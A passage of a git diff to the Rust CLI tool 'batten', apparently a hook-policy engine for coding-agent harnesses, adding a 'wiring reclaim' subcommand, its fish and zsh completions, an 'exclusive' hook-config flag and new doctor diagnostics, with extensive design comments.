+complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l trace -d 'Add everything' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l no-color -d 'Never colour stderr, whatever it is attached to' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l no-input -d 'Never prompt; treat the run as unattended' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -s y -l yes -d 'Confirm a destructive operation that would otherwise refuse' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -s h -l help -d 'Print help (see more with \'--help\')' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from help" -f -a "reclaim" -d 'Remove non-batten hook registrations from this host\'s merged surfaces' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "check" -d 'Run the applicable read-only gates against the repository' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "enforce" -d 'Run every configured rule, including kinds that execute a configured command' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "exec" -d 'Run a command — or a `:::` bundle — and report a pointer to what it wrote' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "capture" -d 'Captured command output: navigate what `exec` already ran, without running it again' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "target" -d 'Inspect and reclaim this repository\'s build tree' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "config" -d 'Inspect configuration' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "lint" -d 'Lint an artifact against a declared schema' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "spec" -d 'Print the tool\'s own command spec' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "doctor" -d 'Diagnose whether Batten can run in this repository' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "init" -d 'Write a starter batten.toml, refusing to overwrite an existing one' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "baseline" -d 'Record the findings that already exist, so only new ones fail' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "generate" -d 'Emit artifacts derived from the command spec, on stdout' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "perf" -d 'Measure this repository\'s own invocation cost' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "policy" -d 'Inspect the thresholds and path sets this repository holds itself to' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "commit" -d 'The shape a commit must take here: what its subject may say' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "semver" -d 'Whether this branch\'s API delta is compatible with the bump it claims' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "attribution" -d 'What produced commits may carry about the tooling that made them' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "worktree" -d 'Worktrees and the work in them: what is at risk' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "override" -d 'Issued admissions: an override is a record, never a variable somebody knows' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "provision" -d 'Pinned tools this repository provisions, cached out of tree' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "hook" -d 'Adjudicate a mediated tool call read from stdin (a deny is exit 2, the one contract)' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "payload" -d 'Read a hook payload from stdin' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "receipt" -d 'Verification receipts: SHA-keyed claims a named check passed, invalidated by git facts' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "defects" -d 'The append-only defect ledger: the lessons this repository has already paid for' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "design" -d 'Design-evidence claims: the integrity of the record behind a decision' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "state" -d 'The out-of-tree findings store: which store belongs to this checkout' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "wiring" -d 'Repair a host\'s hook registrations' +complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from capture" -f -a "show" -d 'Print a capture\'s pointer, or the lines a selection asks for, with no second run' complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from capture" -f -a "list" -d 'List this repository\'s captures as handles, in a fixed order' complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from capture" -f -a "prune" -d 'Remove this repository\'s captures — the one removal path; captures never expire on their own' @@ -1673,3 +1720,4 @@ complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subc complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from state" -f -a "record" -d 'Record this ref\'s findings into the store, and GC instances whose ref is gone' complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from state" -f -a "migrate" -d 'Upgrade the findings store to this binary\'s record version' complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from state" -f -a "list" -d 'List stored findings and the refs they were observed in' +complete -c batten -n "__fish_batten_using_subcommand help; and __fish_seen_subcommand_from wiring" -f -a "reclaim" -d 'Remove non-batten hook registrations from this host\'s merged surfaces' diff --git a/completions/batten.zsh b/completions/batten.zsh index 52ba20b3c..e6f0c5e5d 100644 --- a/completions/batten.zsh +++ b/completions/batten.zsh @@ -2789,6 +2789,100 @@ esac ;; esac ;; +(wiring) +_arguments "${_arguments_options[@]}" : \ +'--strictness=[Raise how strictly gates apply (an override may only tighten policy)]: :((permissive\:"Advisory\: findings are reported without failing the run" +standard\:"The default\: a finding is a violation" +strict\:"Everything \`Standard\` fails on, plus anything advisory"))' \ +'--config-from=[Read the committed config from a git ref (e.g. origin/main) instead of the working tree]: :_default' \ +'--log-level=[Set the verbosity rung by name]: :((silent\:"Say nothing but a verdict or a usage error" +quiet\:"Suppress ordinary progress; keep warnings" +normal\:"The default" +verbose\:"Explain what is being checked" +debug\:"Add resolution detail" +trace\:"Add everything"))' \ +'--fail-on-warning[Promote a warn-severity finding to a violation (an override may only turn this on)]' \ +'*--silent[Say nothing but a verdict or a usage error]' \ +'*-q[Suppress ordinary progress (repeatable\: -qq is silent)]' \ +'*--quiet[Suppress ordinary progress (repeatable\: -qq is silent)]' \ +'*-v[Explain what is being checked (repeatable\: -vv is debug)]' \ +'*--verbose[Explain what is being checked (repeatable\: -vv is debug)]' \ +'*--debug[Add resolution detail]' \ +'*--trace[Add everything]' \ +'--no-color[Never colour stderr, whatever it is attached to]' \ +'--no-input[Never prompt; treat the run as unattended]' \ +'-y[Confirm a destructive operation that would otherwise refuse]' \ +'--yes[Confirm a destructive operation that would otherwise refuse]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +":: :_batten__subcmd__wiring_commands" \ +"*::: :->wiring" \ +&& ret=0 + + case $state in + (wiring) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:batten-wiring-command-$line[1]:" + case $line[1] in + (reclaim) +_arguments "${_arguments_options[@]}" : \ +'--strictness=[Raise how strictly gates apply (an override may only tighten policy)]: :((permissive\:"Advisory\: findings are reported without failing the run" +standard\:"The default\: a finding is a violation" +strict\:"Everything \`Standard\` fails on, plus anything advisory"))' \ +'--config-from=[Read the committed config from a git ref (e.g. origin/main) instead of the working tree]: :_default' \ +'--log-level=[Set the verbosity rung by name]: :((silent\:"Say nothing but a verdict or a usage error" +quiet\:"Suppress ordinary progress; keep warnings" +normal\:"The default" +verbose\:"Explain what is being checked" +debug\:"Add resolution detail" +trace\:"Add everything"))' \ +'-n[Preview what would be applied, writing nothing]' \ +'--dry-run[Preview what would be applied, writing nothing]' \ +'--fail-on-warning[Promote a warn-severity finding to a violation (an override may only turn this on)]' \ +'*--silent[Say nothing but a verdict or a usage error]' \ +'*-q[Suppress ordinary progress (repeatable\: -qq is silent)]' \ +'*--quiet[Suppress ordinary progress (repeatable\: -qq is silent)]' \ +'*-v[Explain what is being checked (repeatable\: -vv is debug)]' \ +'*--verbose[Explain what is being checked (repeatable\: -vv is debug)]' \ +'*--debug[Add resolution detail]' \ +'*--trace[Add everything]' \ +'--no-color[Never colour stderr, whatever it is attached to]' \ +'--no-input[Never prompt; treat the run as unattended]' \ +'-y[Confirm a destructive operation that would otherwise refuse]' \ +'--yes[Confirm a destructive operation that would otherwise refuse]' \ +'-h[Print help (see more with '\''--help'\'')]' \ +'--help[Print help (see more with '\''--help'\'')]' \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +":: :_batten__subcmd__wiring__subcmd__help_commands" \ +"*::: :->help" \ +&& ret=0 + + case $state in + (help) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:batten-wiring-help-command-$line[1]:" + case $line[1] in + (reclaim) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; +(help) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; + esac + ;; +esac +;; (help) _arguments "${_arguments_options[@]}" : \ ":: :_batten__subcmd__help_commands" \ @@ -3289,6 +3383,26 @@ _arguments "${_arguments_options[@]}" : \ ;; esac ;; +(wiring) +_arguments "${_arguments_options[@]}" : \ +":: :_batten__subcmd__help__subcmd__wiring_commands" \ +"*::: :->wiring" \ +&& ret=0 + + case $state in + (wiring) + words=($line[1] "${words[@]}") + (( CURRENT += 1 )) + curcontext="${curcontext%:*:*}:batten-help-wiring-command-$line[1]:" + case $line[1] in + (reclaim) +_arguments "${_arguments_options[@]}" : \ +&& ret=0 +;; + esac + ;; +esac +;; (help) _arguments "${_arguments_options[@]}" : \ && ret=0 @@ -3331,6 +3445,7 @@ _batten_commands() { 'defects:The append-only defect ledger\: the lessons this repository has already paid for' \ 'design:Design-evidence claims\: the integrity of the record behind a decision' \ 'state:The out-of-tree findings store\: which store belongs to this checkout' \ +'wiring:Repair a host'\''s hook registrations' \ 'help:Print this message or the help of the given subcommand(s)' \ ) _describe -t commands 'batten commands' commands "$@" @@ -3764,6 +3879,7 @@ _batten__subcmd__help_commands() { 'defects:The append-only defect ledger\: the lessons this repository has already paid for' \ 'design:Design-evidence claims\: the integrity of the record behind a decision' \ 'state:The out-of-tree findings store\: which store belongs to this checkout' \ +'wiring:Repair a host'\''s hook registrations' \ 'help:Print this message or the help of the given subcommand(s)' \ ) _describe -t commands 'batten help commands' commands "$@" @@ -4144,6 +4260,18 @@ _batten__subcmd__help__subcmd__target__subcmd__prune_commands() { local commands; commands=() _describe -t commands 'batten help target prune commands' commands "$@" } +(( $+functions[_batten__subcmd__help__subcmd__wiring_commands] )) || +_batten__subcmd__help__subcmd__wiring_commands() { + local commands; commands=( +'reclaim:Remove non-batten hook registrations from this host'\''s merged surfaces' \ + ) + _describe -t commands 'batten help wiring commands' commands "$@" +} +(( $+functions[_batten__subcmd__help__subcmd__wiring__subcmd__reclaim_commands] )) || +_batten__subcmd__help__subcmd__wiring__subcmd__reclaim_commands() { + local commands; commands=() + _describe -t commands 'batten help wiring reclaim commands' commands "$@" +} (( $+functions[_batten__subcmd__help__subcmd__worktree_commands] )) || _batten__subcmd__help__subcmd__worktree_commands() { local commands; commands=( @@ -4589,6 +4717,37 @@ _batten__subcmd__target__subcmd__prune_commands() { local commands; commands=() _describe -t commands 'batten target prune commands' commands "$@" } +(( $+functions[_batten__subcmd__wiring_commands] )) || +_batten__subcmd__wiring_commands() { + local commands; commands=( +'reclaim:Remove non-batten hook registrations from this host'\''s merged surfaces' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'batten wiring commands' commands "$@" +} +(( $+functions[_batten__subcmd__wiring__subcmd__help_commands] )) || +_batten__subcmd__wiring__subcmd__help_commands() { + local commands; commands=( +'reclaim:Remove non-batten hook registrations from this host'\''s merged surfaces' \ +'help:Print this message or the help of the given subcommand(s)' \ + ) + _describe -t commands 'batten wiring help commands' commands "$@" +} +(( $+functions[_batten__subcmd__wiring__subcmd__help__subcmd__help_commands] )) || +_batten__subcmd__wiring__subcmd__help__subcmd__help_commands() { + local commands; commands=() + _describe -t commands 'batten wiring help help commands' commands "$@" +} +(( $+functions[_batten__subcmd__wiring__subcmd__help__subcmd__reclaim_commands] )) || +_batten__subcmd__wiring__subcmd__help__subcmd__reclaim_commands() { + local commands; commands=() + _describe -t commands 'batten wiring help reclaim commands' commands "$@" +} +(( $+functions[_batten__subcmd__wiring__subcmd__reclaim_commands] )) || +_batten__subcmd__wiring__subcmd__reclaim_commands() { + local commands; commands=() + _describe -t commands 'batten wiring reclaim commands' commands "$@" +} (( $+functions[_batten__subcmd__worktree_commands] )) || _batten__subcmd__worktree_commands() { local commands; commands=( diff --git a/crates/batten/src/action.rs b/crates/batten/src/action.rs index 932ec92c1..fbcca521b 100644 --- a/crates/batten/src/action.rs +++ b/crates/batten/src/action.rs @@ -87,6 +87,31 @@ pub struct HookConfig { /// because they make opposite promises about the answer. #[serde(default, rename = "handler", skip_serializing_if = "Vec::is_empty")] pub handlers: Vec, + /// Whether this repository declares its hook surfaces **exclusively** + /// batten's: one `batten hook` registration per emitted event, and no other + /// command registered natively beside it (CLOUD-893). + /// + /// **A DECLARATION, and that is what makes it expressible at all.** Whether a + /// hook beside batten's is legitimate is a consumer's judgement — the reason + /// [`crate::doctor::HarnessWiring::siblings`] gives for being a count and + /// never a failure — so the engine may not decide it. What the engine CAN do + /// is enforce what a consumer decided, and this is where that decision is + /// written down. Naming the invariant in `crates/batten` while leaving the + /// choice to the config is what keeps non-negotiable rule 1 intact. + /// + /// **Raise-only (house-style §8), which is the whole difference between this + /// and a waiver.** Absent or `false` is today's behaviour, so no adopter + /// inherits a verdict by upgrading; `true` can only ever ADD refusals. That + /// is categorically unlike a declaration that suppresses one — a sibling + /// table naming an issue that will retire each entry reads as diligence and + /// functions as a permanent exemption, and it is what let this repository + /// report green over ten non-batten registrations. + /// + /// It says nothing about handlers: a `[[hook.handler]]` runs BEHIND `batten + /// hook` rather than beside it, so it is not a native registration and this + /// flag never refuses one. + #[serde(default, skip_serializing_if = "std::ops::Not::not")] + pub exclusive: bool, } /// One declared side effect. diff --git a/crates/batten/src/cli.rs b/crates/batten/src/cli.rs index d090d75aa..7d3344ddd 100644 --- a/crates/batten/src/cli.rs +++ b/crates/batten/src/cli.rs @@ -215,6 +215,22 @@ pub enum Command { /// The chosen sub-verb. command: PerfCommand, }, + /// Repair a host's hook registrations. + /// + /// Appended AFTER `Perf`, for the reason `Semver` is the first to state and + /// the first to be judged by: this enum carries no `repr`, so a variant + /// placed beside its neighbours shifts every later discriminant and the + /// compatibility gate reads that as a break the crate has to declare. + /// + /// `Perf` and this arrived on separate branches, each appended after + /// `Semver`, which is the one shape that conflicts textually while both + /// sides are individually correct. Resolved by ORDER OF LANDING — `Perf` is + /// already on `main`, so it keeps the discriminant it landed with and this + /// one takes the next. + Wiring { + /// The chosen sub-verb. + command: WiringCommand, + }, } /// Subcommands of `semver`. @@ -389,6 +405,19 @@ pub enum OverrideCommand { }, } +/// Subcommands of `wiring`. +#[derive(Debug, Clone, PartialEq, Eq)] +#[non_exhaustive] +pub enum WiringCommand { + /// Remove non-batten hook registrations from this host's merged surfaces. + Reclaim { + /// The global `-y --yes`, which this verb requires: it never prompts. + yes: bool, + /// Report what would be removed and remove nothing. + dry_run: bool, + }, +} + /// Subcommands of `worktree`. #[derive(Debug, Clone, PartialEq, Eq)] #[non_exhaustive] @@ -897,6 +926,16 @@ fn provision_of(matches: &ArgMatches) -> Option { } } +fn wiring_of(matches: &ArgMatches) -> Option { + match matches.subcommand()? { + ("reclaim", matches) => Some(WiringCommand::Reclaim { + yes: flag(matches, "yes"), + dry_run: flag(matches, "dry_run"), + }), + _ => None, + } +} + fn defects_of(matches: &ArgMatches) -> Option { match matches.subcommand()? { ("query", matches) => Some(DefectsCommand::Query { @@ -1128,6 +1167,7 @@ fn command_of((name, matches): (&str, &ArgMatches)) -> Option { "perf" => perf_of(matches).map(|command| Command::Perf { command }), "worktree" => worktree_of(matches).map(|command| Command::Worktree { command }), "override" => override_of(matches).map(|command| Command::Override { command }), + "wiring" => wiring_of(matches).map(|command| Command::Wiring { command }), "generate" => generate_of(matches).map(|command| Command::Generate { command }), // `get_many`, not `get_one`: the tail is an `Append` action, so every // token after `--` is a separate value and the child's argv is the whole diff --git a/crates/batten/src/doctor.rs b/crates/batten/src/doctor.rs index 46458672d..5a713034b 100644 --- a/crates/batten/src/doctor.rs +++ b/crates/batten/src/doctor.rs @@ -31,12 +31,12 @@ //! own provisioning (the bats submodule, rustup cross targets). That one is //! repo tooling; this is the product verb. -use std::borrow::Cow; use std::path::Path; use crate::exit::ExitCode; use crate::rules::Rule; -use crate::{config, git, hook, resolve}; +use crate::wiring::{committed_events, entries_under, same_file}; +use crate::{config, git, hook, resolve, wiring}; /// One diagnostic's outcome. /// @@ -136,6 +136,24 @@ const GIT_REPO: &str = "git-repo"; /// "names a command already on the operator's PATH" — this is the probe that /// says whether that premise holds, before anything depends on it. const COMMAND_PROGRAMS: &str = "command-programs"; +/// Every declared `[[hook.handler]]` names a live retirement and resolves to a +/// program that exists (CLOUD-984). +/// +/// **Diagnosed here rather than refused at load, and the placement is the +/// decision.** `config::validate` runs on every load including the mediated +/// path, so a handler refused there fails config load — exit 1, which every +/// harness reads as could-not-look and allows. A missing `owner` would disable +/// the engine for every call in the repository. A strictness whose failure mode +/// is "no policy at all" is not a strictness. +/// +/// It carries the program-resolution probe for the same reason +/// [`COMMAND_PROGRAMS`] does, and against a measured defect: this repository's +/// only handler row named `mise-tasks/mcp-attach-check`, a file that does not +/// exist, for its whole life. `run_one`'s spawn failed, `Outcome::Broke` allowed +/// as designed, and the guard ran zero times while reading as wired — invisible +/// to both directions of the wiring gate, because it is neither a native +/// registration nor a sibling. +const HOOK_HANDLERS: &str = "hook-handlers"; /// Whether `program` resolves to an existing file on `PATH`. /// @@ -157,6 +175,29 @@ fn on_path(program: &str) -> bool { crate::rules::on_path_verbatim(program).is_some() } +/// Whether a handler's declared program is something that could be spawned. +/// +/// **Resolved the way the DISPATCH resolves it, never a second guess.** A probe +/// that disagreed with the spawn it predicts diagnoses a run that would have +/// worked, or misses one that would not — the defect [`on_path`] records from +/// CLOUD-617, one layer over. A handler's program is relative to the repository +/// root, which is where `run_one` spawns it from, so a repo-relative path is +/// checked there and a bare name goes through the same `PATH` lookup the spawn +/// ladder's second rung uses. +/// +/// Measured 2026-08-25: this repository's only handler row named a program one +/// character off — `mise-tasks/mcp-attach-check` against `…-check.sh` — and the +/// consequence was not an error but a silence. `spawn_resolving`'s ladder never +/// appends an extension, the spawn returned `NotFound`, and `Outcome::Broke` +/// allowed exactly as the door promises. The guard read as wired and ran zero +/// times. +fn handler_program_resolves(dir: &Path, program: &str) -> bool { + if program.contains(std::path::MAIN_SEPARATOR) || program.contains('/') { + return dir.join(program).is_file(); + } + on_path(program) +} + /// Diagnose the repository rooted at `dir`. /// /// Infallible by construction: every failure becomes a [`Check`] rather than an @@ -203,6 +244,39 @@ pub fn diagnose(dir: &Path) -> Report { Check::passed(COMMAND_PROGRAMS) }); + // The handler table, off the same resolved config. `today` is read once + // here — the boundary — and passed down, so the predicate itself stays a + // pure function of its inputs and the suite can drive any date it likes. + let handlers = resolve::resolve(dir, &crate::Overrides::default()) + .ok() + .and_then(|resolved| resolved.hook.map(|hook| hook.handlers)) + .unwrap_or_default(); + // + // A clock that cannot be read is COULD NOT LOOK, so the dated half is + // skipped and the rest still runs: `waiver::today` errors only when the + // system clock predates the Unix epoch, and reading that as "every handler + // is overdue" would redden every checkout on a misconfigured machine. + checks.push( + handlers + .iter() + .find_map(|handler| { + crate::waiver::today() + .ok() + .and_then(|today| handler.transitional_defect(today)) + .or_else(|| { + handler + .run + .first() + .filter(|program| !handler_program_resolves(dir, program)) + .map(|_| "handler-program-unresolvable") + }) + }) + .map_or_else( + || Check::passed(HOOK_HANDLERS), + |reason| Check::failed(HOOK_HANDLERS, reason), + ), + ); + // The working-tree authority: `doctor` diagnoses the checkout in front of // it, so it does not take a base ref. let config_epoch = crate::epoch::compute(dir, None).ok(); @@ -230,7 +304,15 @@ pub struct WiringFinding { } /// One harness's wiring diagnosis. +/// +/// `#[non_exhaustive]`, and the reason is this row's own history: it is a REPORT, +/// which grows a counter every time somebody discovers that one number was +/// carrying two questions. It grew four today. A consumer reads it and never +/// constructs it, so the attribute costs nothing it was using and makes the next +/// counter a patch rather than a declared break — the posture `handler::Ran` and +/// `handler::Dispatched` already take for the same reason. #[derive(Debug, Clone, PartialEq, Eq, serde::Serialize)] +#[non_exhaustive] pub struct HarnessWiring { /// The harness's stable token. pub harness: &'static str, @@ -263,6 +345,20 @@ pub struct HarnessWiring { /// container 2026-08-21, Claude Code ran three `Stop` handlers and four on /// `SessionStart` while every gate read two and three. pub merged: usize, + /// How many of the commands in [`HarnessWiring::merged`] are **not** batten's. + /// + /// `merged` fuses batten's own registrations with the siblings beside them, so + /// a consumer asking *is there a hook here that is not mine* cannot answer it + /// from that number: the sum is non-zero wherever batten is itself on a + /// user-level surface, which is the ordinary case rather than the exception. + /// One number cannot carry two questions, and this is the one a consumer's + /// own gate needs — `siblings == 0 && merged_siblings == 0` is not expressible + /// without it. + /// + /// Still a COUNT and never a name, for both of [`HarnessWiring::merged`]'s + /// reasons. What it adds is the ARITHMETIC, never a verdict: whether a sibling + /// here is legitimate stays that consumer's judgement. + pub merged_siblings: usize, /// How many of this host's merged surfaces were readable. /// /// Three-valued rather than two: a merged file that is absent is the @@ -270,7 +366,43 @@ pub struct HarnessWiring { /// and cannot be parsed is a different claim. Reporting only `merged` would /// make "no extra registrations" and "could not look" the same number, which /// is the collapse `Look` exists to prevent. + /// + /// **Three-valued in intention and one-valued in fact, until the four fields + /// below.** A zero here meant any of four different things — no resolvable + /// home, a surface deduplicated against the committed file, an unreadable + /// one, or a simply absent one — and no reader could tell which, so the + /// collapse this field exists to prevent was reproduced one level down. The + /// siblings below split them, and [`MergedTally::partitions`] asserts their + /// sum against [`hook::Harness::merge_surfaces`]'s own length, so a fifth + /// disposition cannot be added without landing somewhere countable. pub merged_surfaces_read: usize, + /// Merged surfaces this host declares that are not present on disk. + /// + /// The ordinary case, and never a finding: most machines carry no launcher + /// file, and a diagnosis red for its absence would be red on every + /// developer's box for a state nobody can fix. + pub merged_surfaces_absent: usize, + /// Merged surfaces that exist and are not readable as the wiring file they + /// must be — unparseable, or parsing to something that is not a hook map. + /// + /// Distinct from absent for the reason [`FILE_UNREADABLE`] is distinct from + /// [`FILE_MISSING`]: two different remedies, so one number would send the + /// reader to the wrong one. + pub merged_surfaces_unreadable: usize, + /// Merged surfaces that resolved to the same file as the committed wiring. + /// + /// A third answer rather than a kind of absence, and previously + /// indistinguishable from it. Several hosts spell their user-level surface + /// and their project-level one identically, so a checkout sitting AT the home + /// directory resolves both to one file; counting it here says so instead of + /// dropping it silently. + pub merged_surfaces_deduplicated: usize, + /// Every merged surface this host declares, when no home directory resolves. + /// + /// Whole-set rather than per-surface: with no home there is no path to join, + /// so nothing was looked at. This is the "could not look" arm that a zero in + /// [`HarnessWiring::merged_surfaces_read`] used to hide. + pub merged_surfaces_unresolvable: usize, /// What is wrong, in derivation order. pub findings: Vec, /// Whether this harness's wiring matches the derivation. @@ -278,7 +410,13 @@ pub struct HarnessWiring { } /// The whole hook-wiring diagnosis, as the `-J` data channel renders it. +/// +/// `#[non_exhaustive]` for [`HarnessWiring`]'s reason, which this row has now +/// proved for itself: a report grows a field every time somebody finds that one +/// number was carrying two questions, and a consumer reads this and never +/// constructs it. #[derive(Debug, Clone, PartialEq, Eq, serde::Serialize)] +#[non_exhaustive] pub struct WiringReport { /// The running binary's version. pub version: &'static str, @@ -286,6 +424,31 @@ pub struct WiringReport { pub ok: bool, /// One row per harness with a hook-config surface, in `Harness::ALL` order. pub harnesses: Vec, + /// How many non-batten registrations the AT-LOAD record accounts for, or + /// `None` when there is no record (CLOUD-893). + /// + /// **The one number the live counts structurally cannot carry.** Every + /// `merged_*` field above describes the DISK, and a harness reads its wiring + /// once, at session start — so after `batten wiring reclaim` the disk says + /// zero while the running host is still dispatching what was there. This + /// field is what makes those two states distinguishable instead of + /// byte-identical, and it is the whole reason the repair is allowed to exist: + /// without it, repairing manufactures a green over a runtime nobody looked + /// at. + /// + /// **Reported, never judged.** Whether a session still running the old wiring + /// is acceptable is a consumer's call, exactly as whether a sibling is + /// legitimate is (non-negotiable rule 1), and this repository answers it in + /// `hooks-wiring-check` rather than here. So a non-zero record does not move + /// `ok`: the engine supplies the arithmetic and the consumer's gate supplies + /// the verdict. + /// + /// `None` rather than `0` because "no repair has been recorded" and "a repair + /// found nothing" are different states with different remedies — the first + /// says read the disk, the second says restart. Collapsing them would + /// reproduce, in the field added to prevent it, the collapse + /// `merged_surfaces_read` was added to prevent. + pub at_load_siblings: Option, } impl WiringReport { @@ -337,63 +500,41 @@ const FILE_MISSING: &str = "hook-wiring-file-missing"; /// exactly why it needs its own id rather than folding into /// `event-registered-n-times`. const MERGED_REGISTRATION: &str = "hook-wiring-merged-registration"; +/// A command that is not batten's is registered on a surface the consumer +/// declared exclusively batten's (CLOUD-893). +/// +/// **Fires only under `[hook] exclusive`, and the gating is the point.** The +/// engine cannot decide whether a hook beside batten's is legitimate — that is a +/// consumer's judgement, and minting the verdict here would put it in +/// `crates/batten` for every adopter. Under a declaration it is no longer a +/// judgement but an invariant somebody wrote down, and enforcing it is what the +/// engine is for. +/// +/// Pointer-only, exactly as its neighbours are: the harness and the event, never +/// the command. A sibling's command line carries a path (rule 4), and the count +/// in [`HarnessWiring::siblings`] 